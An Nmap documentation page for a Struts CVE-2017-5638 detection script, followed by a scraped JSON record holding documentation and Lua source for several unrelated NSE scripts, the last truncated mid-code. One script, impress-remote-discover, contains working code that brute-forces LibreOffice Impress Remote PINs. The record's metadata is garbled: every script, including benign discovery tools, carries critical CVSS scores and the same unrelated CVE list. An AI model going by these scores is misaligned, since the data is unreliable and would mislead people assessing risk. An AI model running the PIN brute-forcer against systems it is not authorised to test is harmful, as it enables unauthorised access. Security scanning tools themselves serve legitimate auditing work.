Detects whether the specified URL is vulnerable to the Apache Struts Remote Code Execution Vulnerability (CVE-2017-5638).
## Script Arguments
#### http-vuln-cve2017-5638.path
The URL path to request. The default path is "/".
#### http-vuln-cve2017-5638.method
The HTTP method for the request. The default method is "GET".
#### slaxml.debug
See the documentation for the [slaxml](<../lib/slaxml.html#script-args>) library.
#### http.host, http.max-body-size, http.max-cache-size, http.max-pipeline, http.pipeline, http.truncated-ok, http.useragent
See the documentation for the [http](<../lib/http.html#script-args>) library.
#### smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername
See the documentation for the [smbauth](<../lib/smbauth.html#script-args>) library.
#### vulns.short, vulns.showall
See the documentation for the [vulns](<../lib/vulns.html#script-args>) library.
## Example Usage
nmap -p <port> --script http-vuln-cve2017-5638 <target>
## Script Output
PORT STATE SERVICE
80/tcp open http
| http-vuln-cve2017-5638:
| VULNERABLE
| Apache Struts Remote Code Execution Vulnerability
| State: VULNERABLE
| IDs: CVE:CVE-2017-5638
|
| Disclosure date: 2017-03-07
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
| https://cwiki.apache.org/confluence/display/WW/S2-045
|_ http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html
## Requires
* [http](<../lib/http.html>)
* [shortport](<../lib/shortport.html>)
* [vulns](<../lib/vulns.html>)
* [stdnse](<../lib/stdnse.html>)
* [string](<>)
* [rand](<../lib/rand.html>)
* * *
{"nmap": [{"lastseen": "2022-02-15T21:46:09", "description": "Sends a DHCPINFORM request to a host on UDP port 67 to obtain all the local configuration parameters without allocating a new address. \n\nDHCPINFORM is a DHCP request that returns useful information from a DHCP server, without allocating an IP address. The request sends a list of which fields it wants to know (a handful by default, every field if verbosity is turned on), and the server responds with the fields that were requested. It should be noted that the server doesn't have to return every field, nor does it have to return them in the same order, or honour the request at all. A Linksys WRT54g, for example, completely ignores the list of requested fields and returns a few standard ones. This script displays every field it receives. \n\nWith script arguments, the type of DHCP request can be changed, which can lead to interesting results. Additionally, the MAC address can be randomized, which in should override the cache on the DHCP server and assign a new IP address. Extra requests can also be sent to exhaust the IP address range more quickly. \n\nSome of the more useful fields: \n\n * DHCP Server (the address of the server that responded) \n * Subnet Mask \n * Router \n * DNS Servers \n * Hostname\n\n### See also:\n\n * [ broadcast-dhcp6-discover.nse ](<../scripts/broadcast-dhcp6-discover.html>)\n * [ broadcast-dhcp-discover.nse ](<../scripts/broadcast-dhcp-discover.html>)\n\n## Script Arguments \n\n#### dhcp-discover.dhcptype \n\nThe type of DHCP request to make. By default, DHCPINFORM is sent, but this argument can change it to DHCPOFFER, DHCPREQUEST, DHCPDECLINE, DHCPACK, DHCPNAK, DHCPRELEASE or DHCPINFORM. Not all types will evoke a response from all servers, and many require different fields to contain specific values.\n\n#### dhcp-discover.mac \n\nSet to `native` (default) or `random` or a specific client MAC address in the DHCP request. Keep in mind that you may not see the response if a non-native address is used. Setting it to `random` will possibly cause the DHCP server to reserve a new IP address each time.\n\n#### dhcp-discover.requests \n\nSet to an integer to make up to that many requests (and display the results).\n\n## Example Usage \n \n \n nmap -sU -p 67 --script=dhcp-discover <target>\n\n## Script Output \n \n \n Interesting ports on 192.168.1.1:\n PORT STATE SERVICE\n 67/udp open dhcps\n | dhcp-discover:\n | DHCP Message Type: DHCPACK\n | Server Identifier: 192.168.1.1\n | IP Address Lease Time: 1 day, 0:00:00\n | Subnet Mask: 255.255.255.0\n | Router: 192.168.1.1\n |_ Domain Name Server: 208.81.7.10, 208.81.7.14\n \n\n## Requires \n\n * [dhcp](<../lib/dhcp.html>)\n * [rand](<../lib/rand.html>)\n * [nmap](<../lib/nmap.html>)\n * [outlib](<../lib/outlib.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [string](<>)\n * [table](<>)\n * [ipOps](<../lib/ipOps.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2009-09-10T03:26:53", "type": "nmap", "title": "dhcp-discover NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2020-01-19T16:37:36", "id": "NMAP:DHCP-DISCOVER.NSE", "href": "https://nmap.org/nsedoc/scripts/dhcp-discover.html", "sourceData": "local dhcp = require \"dhcp\"\nlocal rand = require \"rand\"\nlocal nmap = require \"nmap\"\nlocal outlib = require \"outlib\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\nlocal string = require \"string\"\nlocal table = require \"table\"\nlocal ipOps = require \"ipOps\"\n\ndescription = [[\nSends a DHCPINFORM request to a host on UDP port 67 to obtain all the local configuration parameters\nwithout allocating a new address.\n\nDHCPINFORM is a DHCP request that returns useful information from a DHCP server, without allocating an IP\naddress. The request sends a list of which fields it wants to know (a handful by default, every field if\nverbosity is turned on), and the server responds with the fields that were requested. It should be noted\nthat the server doesn't have to return every field, nor does it have to return them in the same order,\nor honour the request at all. A Linksys WRT54g, for example, completely ignores the list of requested\nfields and returns a few standard ones. This script displays every field it receives.\n\nWith script arguments, the type of DHCP request can be changed, which can lead to interesting results.\nAdditionally, the MAC address can be randomized, which in should override the cache on the DHCP server and\nassign a new IP address. Extra requests can also be sent to exhaust the IP address range more quickly.\n\nSome of the more useful fields:\n* DHCP Server (the address of the server that responded)\n* Subnet Mask\n* Router\n* DNS Servers\n* Hostname\n]]\n\n---\n-- @see broadcast-dhcp6-discover.nse\n-- @see broadcast-dhcp-discover.nse\n--\n-- @args dhcp-discover.dhcptype The type of DHCP request to make. By default,\n-- DHCPINFORM is sent, but this argument can change it to DHCPOFFER,\n-- DHCPREQUEST, DHCPDECLINE, DHCPACK, DHCPNAK, DHCPRELEASE or\n-- DHCPINFORM. Not all types will evoke a response from all servers,\n-- and many require different fields to contain specific values.\n-- @args dhcp-discover.mac Set to <code>native</code> (default) or\n-- <code>random</code> or a specific client MAC address in the DHCP\n-- request. Keep in mind that you may not see the response if\n-- a non-native address is used. Setting it to <code>random</code> will\n-- possibly cause the DHCP server to reserve a new IP address each time.\n-- @args dhcp-discover.requests Set to an integer to make up to that many\n-- requests (and display the results).\n--\n-- @usage\n-- nmap -sU -p 67 --script=dhcp-discover <target>\n-- @output\n-- Interesting ports on 192.168.1.1:\n-- PORT STATE SERVICE\n-- 67/udp open dhcps\n-- | dhcp-discover:\n-- | DHCP Message Type: DHCPACK\n-- | Server Identifier: 192.168.1.1\n-- | IP Address Lease Time: 1 day, 0:00:00\n-- | Subnet Mask: 255.255.255.0\n-- | Router: 192.168.1.1\n-- |_ Domain Name Server: 208.81.7.10, 208.81.7.14\n--\n-- @xmloutput\n-- <elem key=\"DHCP Message Type\">DHCPACK</elem>\n-- <elem key=\"Server Identifier\">192.168.1.1</elem>\n-- <elem key=\"IP Address Lease Time\">1 day, 0:00:00</elem>\n-- <elem key=\"Subnet Mask\">255.255.255.0</elem>\n-- <elem key=\"Router\">192.168.1.1</elem>\n-- <table key=\"Domain Name Server\">\n-- <elem>208.81.7.10</elem>\n-- <elem>208.81.7.14</elem>\n-- </table>\n--\n\n--\n-- 2020-01-14 - Revised by nnposter\n-- o Added script argument \"mac\" to prescribe a specific MAC address\n-- o Deprecated argument \"randomize_mac\" in favor of \"mac=random\"\n--\n-- 2011-12-28 - Revised by Patrik Karlsson <patrik@cqure.net>\n-- o Removed DoS code and placed script into discovery and safe categories\n--\n-- 2011-12-27 - Revised by Patrik Karlsson <patrik@cqure.net>\n-- o Changed script to use DHCPINFORM instead of DHCPDISCOVER\n--\n\n\nauthor = \"Ron Bowes\"\n\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\n\ncategories = {\"discovery\", \"safe\"}\n\n\n-- We want to run against a specific host if UDP/67 is open\nfunction portrule(host, port)\n if nmap.address_family() ~= 'inet' then\n stdnse.debug1(\"is IPv4 compatible only.\")\n return false\n end\n\n return shortport.portnumber(67, \"udp\")(host, port)\nend\n\naction = function(host, port)\n local dhcptype = (stdnse.get_script_args(SCRIPT_NAME .. \".dhcptype\") or \"DHCPINFORM\"):upper()\n local dhcptypeid = dhcp.request_types[dhcptype]\n if not dhcptypeid then\n return stdnse.format_output(false, \"Invalid request type (use \"\n .. table.concat(dhcp.request_types_str, \" / \")\n .. \")\")\n end\n\n local reqcount = tonumber(stdnse.get_script_args(SCRIPT_NAME .. \".requests\") or 1)\n if not reqcount then\n return stdnse.format_output(false, \"Invalid request count\")\n end\n\n local iface, err = nmap.get_interface_info(host.interface)\n if not (iface and iface.address) then\n return stdnse.format_output(false, \"Couldn't determine local IP for interface: \" .. host.interface)\n end\n\n local overrides = {}\n\n local macaddr = (stdnse.get_script_args(SCRIPT_NAME .. \".mac\") or \"native\"):lower()\n -- Support for legacy argument \"randomize_mac\"\n local randomize = (stdnse.get_script_args(SCRIPT_NAME .. \".randomize_mac\") or \"false\"):lower()\n if randomize == \"true\" or randomize == \"1\" then\n stdnse.debug1(\"Use %s.mac=random instead of %s.randomize_mac=%s\", SCRIPT_NAME, SCRIPT_NAME, randomize)\n macaddr = \"random\"\n end\n if macaddr ~= \"native\" then\n -- Set the scanner as a relay agent\n overrides.giaddr = string.unpack(\"<I4\", ipOps.ip_to_str(iface.address))\n end\n local macaddr_iter\n if macaddr:find(\"^ra?nd\") then\n macaddr_iter = function () return rand.random_string(6) end\n else\n if macaddr == \"native\" then\n macaddr = host.mac_addr_src\n else\n macaddr = macaddr:gsub(\":\", \"\")\n if not (#macaddr == 12 and macaddr:find(\"^%x+$\")) then\n return stdnse.format_output(false, \"Invalid MAC address\")\n end\n macaddr = stdnse.fromhex(macaddr)\n end\n macaddr_iter = function () return macaddr end\n end\n\n local results = {}\n for i = 1, reqcount do\n local macaddr = macaddr_iter()\n stdnse.debug1(\"Client MAC address: %s\", stdnse.tohex(macaddr, {separator = \":\"}))\n local status, result = dhcp.make_request(host.ip, dhcptypeid, iface.address, macaddr, nil, nil, overrides)\n if not status then\n return stdnse.format_output(false, \"Couldn't send DHCP request: \" .. result)\n end\n table.insert(results, result)\n end\n\n if #results == 0 then\n return nil\n end\n\n nmap.set_port_state(host, port, \"open\")\n\n local response = stdnse.output_table()\n\n -- Display the results\n for i, result in ipairs(results) do\n local result_table = stdnse.output_table()\n\n if dhcptype ~= \"DHCPINFORM\" then\n result_table[\"IP Offered\"] = result.yiaddr_str\n end\n for _, v in ipairs(result.options) do\n if type(v.value) == 'table' then\n outlib.list_sep(v.value)\n end\n result_table[ v.name ] = v.value\n end\n\n if(#results == 1) then\n response = result_table\n else\n response[string.format(\"Response %d of %d\", i, #results)] = result_table\n end\n end\n\n return response\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:47:34", "description": "Requests a URI over the Apache JServ Protocol and displays the result (or stores it in a file). Different AJP methods such as; GET, HEAD, TRACE, PUT or DELETE may be used. \n\nThe Apache JServ Protocol is commonly used by web servers to communicate with back-end Java application server containers.\n\n## Script Arguments \n\n#### username \n\nthe username to use to access protected resources\n\n#### path \n\nthe path part of the URI to request\n\n#### filename \n\nthe name of the file where the results should be stored\n\n#### password \n\nthe password to use to access protected resources\n\n#### method \n\nAJP method to be used when requesting the URI (default: GET)\n\n#### slaxml.debug \n\nSee the documentation for the [slaxml](<../lib/slaxml.html#script-args>) library. \n\n#### http.host, http.max-body-size, http.max-cache-size, http.max-pipeline, http.pipeline, http.truncated-ok, http.useragent \n\nSee the documentation for the [http](<../lib/http.html#script-args>) library. \n\n#### smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername \n\nSee the documentation for the [smbauth](<../lib/smbauth.html#script-args>) library. \n\n## Example Usage \n \n \n nmap -p 8009 <ip> --script ajp-request\n \n\n## Script Output \n \n \n PORT STATE SERVICE\n 8009/tcp open ajp13\n | ajp-request:\n | <!DOCTYPE HTML>\n | <html>\n | <head>\n | <title>JSP Test</title>\n |\n | </head>\n | <body>\n | <h2>Hello, World.</h2>\n | Fri May 04 02:09:40 UTC 2012\n | </body>\n |_</html>\n \n\n## Requires \n\n * [ajp](<../lib/ajp.html>)\n * [io](<>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [table](<>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2012-05-14T21:30:24", "type": "nmap", "title": "ajp-request NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2018-10-18T01:08:19", "id": "NMAP:AJP-REQUEST.NSE", "href": "https://nmap.org/nsedoc/scripts/ajp-request.html", "sourceData": "local ajp = require \"ajp\"\nlocal io = require \"io\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\nlocal table = require \"table\"\n\ndescription = [[\nRequests a URI over the Apache JServ Protocol and displays the result\n(or stores it in a file). Different AJP methods such as; GET, HEAD,\nTRACE, PUT or DELETE may be used.\n\nThe Apache JServ Protocol is commonly used by web servers to communicate with\nback-end Java application server containers.\n]]\n\n---\n-- @usage\n-- nmap -p 8009 <ip> --script ajp-request\n--\n-- @output\n-- PORT STATE SERVICE\n-- 8009/tcp open ajp13\n-- | ajp-request:\n-- | <!DOCTYPE HTML>\n-- | <html>\n-- | <head>\n-- | <title>JSP Test</title>\n-- |\n-- | </head>\n-- | <body>\n-- | <h2>Hello, World.</h2>\n-- | Fri May 04 02:09:40 UTC 2012\n-- | </body>\n-- |_</html>\n--\n-- @args method AJP method to be used when requesting the URI (default: GET)\n-- @args path the path part of the URI to request\n-- @args filename the name of the file where the results should be stored\n-- @args username the username to use to access protected resources\n-- @args password the password to use to access protected resources\n--\n\nauthor = \"Patrik Karlsson\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"discovery\", \"safe\"}\n\n\nportrule = shortport.port_or_service(8009, 'ajp13', 'tcp')\n\nlocal arg_method = stdnse.get_script_args(SCRIPT_NAME .. \".method\") or \"GET\"\nlocal arg_path = stdnse.get_script_args(SCRIPT_NAME .. \".path\") or \"/\"\nlocal arg_file = stdnse.get_script_args(SCRIPT_NAME .. \".filename\")\nlocal arg_username = stdnse.get_script_args(SCRIPT_NAME .. \".username\")\nlocal arg_password = stdnse.get_script_args(SCRIPT_NAME .. \".password\")\n\nlocal function fail(err) return stdnse.format_output(false, err) end\n\naction = function(host, port)\n\n local helper = ajp.Helper:new(host, port)\n if ( not(helper:connect()) ) then\n return fail(\"Failed to connect to AJP server\")\n end\n\n local valid_methods = {\n [\"GET\"] = true,\n [\"HEAD\"] = true,\n [\"TRACE\"] = true,\n [\"PUT\"] = true,\n [\"DELETE\"] = true,\n [\"OPTIONS\"]= true,\n }\n\n local method = arg_method:upper()\n if ( not(valid_methods[method]) ) then\n return fail((\"Method not supported: %s\"):format(arg_method))\n end\n\n local options = { auth = { username = arg_username, password = arg_password } }\n local status, response = helper:request(arg_method, arg_path, nil, nil, options)\n if ( not(status) ) then\n return fail(\"Failed to retrieve response for request\")\n end\n helper:close()\n\n if ( response ) then\n local output = response.status_line .. \"\\n\" ..\n table.concat(response.rawheaders, \"\\n\") ..\n (response.body and \"\\n\\n\" .. response.body or \"\")\n if ( arg_file ) then\n local f = io.open(arg_file, \"w\")\n if ( not(f) ) then\n return fail((\"Failed to open file %s for writing\"):format(arg_file))\n end\n f:write(output)\n f:close()\n return (\"Response was written to file: %s\"):format(arg_file)\n else\n return \"\\n\" .. output\n end\n end\nend\n\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:41:48", "description": "Tests for the presence of the LibreOffice Impress Remote server. Checks if a PIN is valid if provided and will bruteforce the PIN if requested. \n\nWhen a remote first contacts Impress and sends a client name and PIN, the user must open the \"Slide Show -> Impress Remote\" menu and enter the matching PIN at the prompt, which shows the client name. Subsequent connections with the same client name may then use the same PIN without user interaction. If no PIN has been set for the session, each PIN attempt will result in a new prompt in the \"Impress Remote\" menu. Brute-forcing the PIN, therefore, requires that the user has entered a PIN for the same client name, and will result in lots of extra prompts in the \"Impress Remote\" menu.\n\n## Script Arguments \n\n#### impress-remote-discover.client \n\nString value of the client name (default is `Firefox OS`).\n\n#### impress-remote-discover.bruteforce \n\nNo value needed (default is `false`).\n\n#### impress-remote-discover.pin \n\nPIN number for the remote (default is `0000`).\n\n## Example Usage \n \n \n nmap -p 1599 --script impress-remote-discover <host>\n \n\n## Script Output \n \n \n PORT STATE SERVICE Version\n 1599/tcp open impress-remote LibreOffice Impress remote 4.3.3.2\n | impress-remote-discover:\n | Impress Version: 4.3.3.2\n | Remote PIN: 0000\n |_ Client Name used: Firefox OS\n \n\n## Requires \n\n * [nmap](<../lib/nmap.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [string](<>)\n * [table](<>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2017-03-04T19:54:56", "type": "nmap", "title": "impress-remote-discover NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2017-03-04T19:54:56", "id": "NMAP:IMPRESS-REMOTE-DISCOVER.NSE", "href": "https://nmap.org/nsedoc/scripts/impress-remote-discover.html", "sourceData": "local nmap = require \"nmap\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\nlocal string = require \"string\"\nlocal table = require \"table\"\n\ndescription = [[\nTests for the presence of the LibreOffice Impress Remote server.\nChecks if a PIN is valid if provided and will bruteforce the PIN\nif requested.\n\nWhen a remote first contacts Impress and sends a client name and PIN, the user\nmust open the \"Slide Show -> Impress Remote\" menu and enter the matching PIN at\nthe prompt, which shows the client name. Subsequent connections with the same\nclient name may then use the same PIN without user interaction. If no PIN has\nbeen set for the session, each PIN attempt will result in a new prompt in the\n\"Impress Remote\" menu. Brute-forcing the PIN, therefore, requires that the user\nhas entered a PIN for the same client name, and will result in lots of extra\nprompts in the \"Impress Remote\" menu.\n]]\n\n---\n-- @usage nmap -p 1599 --script impress-remote-discover <host>\n--\n-- @output\n-- PORT STATE SERVICE Version\n-- 1599/tcp open impress-remote LibreOffice Impress remote 4.3.3.2\n-- | impress-remote-discover:\n-- | Impress Version: 4.3.3.2\n-- | Remote PIN: 0000\n-- |_ Client Name used: Firefox OS\n--\n-- @args impress-remote-discover.bruteforce No value needed (default is\n-- <code>false</code>).\n--\n-- @args impress-remote-discover.client String value of the client name\n-- (default is <code>Firefox OS</code>).\n--\n-- @args impress-remote-discover.pin PIN number for the remote (default is\n-- <code>0000</code>).\n\nauthor = \"Jer Hiebert\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"intrusive\", \"brute\"}\n\nportrule = shortport.port_or_service(1599, \"impress-remote\", \"tcp\")\n\nlocal function parse_args()\n local args = {}\n\n local client_name = stdnse.get_script_args(SCRIPT_NAME .. \".client\")\n if client_name then\n stdnse.debug(\"Client name provided: %s\", client_name)\n -- Sanity check the value from the user.\n if type(client_name) ~= \"string\" then\n return false, \"Client argument must be a string.\"\n end\n end\n args.client_name = client_name or \"Firefox OS\"\n\n local bruteforce = stdnse.get_script_args(SCRIPT_NAME .. \".bruteforce\")\n if bruteforce and bruteforce ~= \"false\" then\n -- accept any value but false.\n bruteforce = true\n else\n bruteforce = false\n end\n args.bruteforce = bruteforce or false\n\n local pin = stdnse.get_script_args(SCRIPT_NAME .. \".pin\")\n if pin then\n -- Sanity check the value from the user.\n pin = tonumber(pin)\n if type(pin) ~= \"number\" then\n return false, \"PIN argument must be a number.\"\n elseif pin < 0 or pin > 9999 then\n return false, \"PIN argument must be in range between 0000 and 9999 inclusive.\"\n elseif bruteforce then\n return false, \"When bruteforcing is enabled, a PIN cannot be set.\"\n end\n end\n args.pin = pin or 0\n\n return true, args\nend\n\nlocal remote_connect = function(host, port, client_name, pin)\n local socket = nmap.new_socket()\n local status, err = socket:connect(host, port)\n if not status then\n stdnse.debug(\"Can't connect: %s\", err)\n return\n end\n socket:set_timeout(5000)\n\n local buffer, err = stdnse.make_buffer(socket, \"\\n\")\n if err then\n socket:close()\n stdnse.debug1(\"Failed to create buffer from socket: %s\", err)\n return\n end\n socket:send(\"LO_SERVER_CLIENT_PAIR\\n\" .. client_name .. \"\\n\" .. pin .. \"\\n\\n\")\n\n return buffer, socket\nend\n\n-- Returns the Client Name, PIN, and Remote Server version if the PIN and Client Name are correct\nlocal remote_version = function(buffer, socket, client_name, pin)\n local line, err\n -- The line we are looking for is 4 down in the response\n -- so we loop through lines until we get to that one\n for j=0,3 do\n line, err = buffer()\n if not line then\n socket:close()\n stdnse.debug1(\"Failed to receive line from socket: %s\", err)\n return\n end\n\n if string.match(line, \"^LO_SERVER_INFO$\") then\n line, err = buffer()\n socket:close()\n local output = stdnse.output_table()\n output[\"Impress Version\"] = line\n output[\"Remote PIN\"] = pin\n output[\"Client Name used\"] = client_name\n return output\n end\n end\n\n socket:close()\n stdnse.debug1(\"Failed to parse version from socket.\")\n return\nend\n\nlocal check_pin = function(host, port, client_name, pin)\n local buffer, socket = remote_connect(host, port, client_name, pin)\n if not buffer then\n return\n end\n\n local line, err = buffer()\n if not line then\n socket:close()\n stdnse.debug1(\"Failed to receive line from socket: %s\", err)\n return\n end\n\n if string.match(line, \"^LO_SERVER_SERVER_PAIRED$\") then\n return remote_version(buffer, socket, client_name, pin)\n end\n\n socket:close()\n stdnse.debug1(\"Remote Server present but PIN and/or Client Name was not accepted.\")\n return\nend\n\nlocal bruteforce = function(host, port, client_name)\n -- There are 10000 possible PINs which we loop through\n for i=0,9999 do\n -- Pad the pin with leading zeros if required\n local pin = string.format(\"%04d\", i)\n if i % 100 == 0 then\n stdnse.debug1(\"Bruteforce attempt %d with PIN %s...\", i + 1, pin)\n end\n\n local buffer, socket = remote_connect(host, port, client_name, pin)\n if not buffer then\n return\n end\n\n local line, err = buffer()\n if not line then\n socket:close()\n stdnse.debug1(\"Failed to receive line from socket: %s\", err)\n return\n end\n\n if string.match(line, \"^LO_SERVER_SERVER_PAIRED$\") then\n return remote_version(buffer, socket, client_name, pin)\n end\n\n socket:close()\n end\n\n stdnse.debug1(\"Failed to bruteforce PIN.\")\n return\nend\n\naction = function(host, port)\n -- Parse and sanity check the command line arguments.\n local status, options = parse_args()\n if not status then\n stdnse.verbose1(\"ERROR: %s\", options)\n return stdnse.format_output(false, options)\n end\n\n local result\n if options.bruteforce then\n result = bruteforce(host, port, options.client_name)\n else\n result = check_pin(host, port, options.client_name, options.pin)\n end\n\n if result and result[\"Impress Version\"] then\n port.version.product = port.version.product or \"LibreOffice Impress remote\"\n port.version.version = result[\"Impress Version\"]\n table.insert(port.version.cpe, (\"cpe:/a:libreoffice:libreoffice:%s\"):format(result[\"Impress Version\"]))\n nmap.set_port_version(host, port, \"hardmatched\")\n end\n\n return result\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:46:53", "description": "Discovers routers that are running PIM (Protocol Independent Multicast). \n\nThis works by sending a PIM Hello message to the PIM multicast address 224.0.0.13 and listening for Hello messages from other routers.\n\n## Script Arguments \n\n#### broadcast-pim-discovery.timeout \n\nTime to wait for responses in seconds. Defaults to `5s`.\n\n#### max-newtargets, newtargets \n\nSee the documentation for the [target](<../lib/target.html#script-args>) library. \n\n## Example Usage \n \n \n nmap --script broadcast-pim-discovery\n \n nmap --script broadcast-pim-discovery -e eth1\n --script-args 'broadcast-pim-discovery.timeout=10'\n \n\n## Script Output \n \n \n Pre-scan script results:\n | broadcast-pim-discovery:\n | 172.16.0.12\n | 172.16.0.31\n | 172.16.0.44\n |_ Use the newtargets script-arg to add the results as targets\n\n## Requires \n\n * [nmap](<../lib/nmap.html>)\n * [packet](<../lib/packet.html>)\n * [ipOps](<../lib/ipOps.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [target](<../lib/target.html>)\n * [table](<>)\n * [math](<>)\n * [string](<>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2012-08-15T10:24:31", "type": "nmap", "title": "broadcast-pim-discovery NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2018-09-08T17:07:00", "id": "NMAP:BROADCAST-PIM-DISCOVERY.NSE", "href": "https://nmap.org/nsedoc/scripts/broadcast-pim-discovery.html", "sourceData": "local nmap = require \"nmap\"\nlocal packet = require \"packet\"\nlocal ipOps = require \"ipOps\"\nlocal stdnse = require \"stdnse\"\nlocal target = require \"target\"\nlocal table = require \"table\"\nlocal math = require \"math\"\nlocal string = require \"string\"\n\ndescription = [[\nDiscovers routers that are running PIM (Protocol Independent Multicast).\n\nThis works by sending a PIM Hello message to the PIM multicast address\n224.0.0.13 and listening for Hello messages from other routers.\n]]\n\n---\n-- @args broadcast-pim-discovery.timeout Time to wait for responses in seconds.\n-- Defaults to <code>5s</code>.\n--\n--@usage\n-- nmap --script broadcast-pim-discovery\n--\n-- nmap --script broadcast-pim-discovery -e eth1\n-- --script-args 'broadcast-pim-discovery.timeout=10'\n--\n--@output\n-- Pre-scan script results:\n-- | broadcast-pim-discovery:\n-- | 172.16.0.12\n-- | 172.16.0.31\n-- | 172.16.0.44\n-- |_ Use the newtargets script-arg to add the results as targets\n\n\nauthor = \"Hani Benhabiles\"\n\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\n\ncategories = {\"discovery\", \"safe\", \"broadcast\"}\n\nprerule = function()\n if nmap.address_family() ~= 'inet' then\n stdnse.verbose1(\"is IPv4 only.\")\n return false\n end\n if not nmap.is_privileged() then\n stdnse.verbose1(\"not running for lack of privileges.\")\n return false\n end\n return true\nend\n\n-- Generates a raw PIM Hello message.\n--@return hello Raw PIM Hello message\nlocal helloRaw = function()\n local hello_raw = string.pack(\">BB I2\",\n 0x20, -- Version: 2, Type: Hello (0)\n 0x00, -- Reserved\n 0x0000) -- 